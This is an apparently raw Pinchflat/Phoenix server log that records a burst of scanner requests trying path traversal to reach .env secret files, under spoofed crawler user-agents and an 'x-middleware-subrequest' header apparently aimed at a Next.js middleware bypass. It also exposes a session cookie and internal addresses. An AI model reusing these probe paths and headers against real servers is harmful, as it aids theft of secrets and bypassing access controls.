s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.241 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.242 [info] GET /img../.env 16:49:09.242 [debug] QUERY OK source="settings" db=0.1ms idle=38.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.242 [debug] QUERY OK source="settings" db=0.0ms idle=15.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.242 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.242 [error] #PID<0.29783.0> running PinchflatWeb.Endpoint (connection #PID<0.29782.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /uploads../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uploads../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29783.0>, params: %{}, path_info: ["uploads..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/uploads../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hlUhOUEVfgAAIDD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uploads../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:09.243 [info] GET /assets../.env 16:49:09.243 [debug] QUERY OK source="settings" db=0.0ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.244 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.244 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.243 [error] #PID<0.29785.0> running PinchflatWeb.Endpoint (connection #PID<0.29784.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /img../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /img../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/img../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34434}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29785.0>, params: %{}, path_info: ["img..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/img../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hlhP0dR-bQAAIDj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/img../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34434}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /img../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/img../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34434}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, h (truncated) 16:49:09.244 [error] #PID<0.29787.0> running PinchflatWeb.Endpoint (connection #PID<0.29786.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /assets../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29787.0>, params: %{}, path_info: ["assets..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/assets../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hl2FJc7yhgAAIED"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined } (truncated) 16:49:09.339 [info] GET /public../.env 16:49:09.339 [debug] QUERY OK source="settings" db=0.1ms idle=97.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.340 [debug] QUERY OK source="settings" db=0.1ms idle=97.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.340 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.340 [error] #PID<0.29789.0> running PinchflatWeb.Endpoint (connection #PID<0.29788.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /public../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34454}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29789.0>, params: %{}, path_info: ["public..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/public../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61h8tlnuyj4cAAIEj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 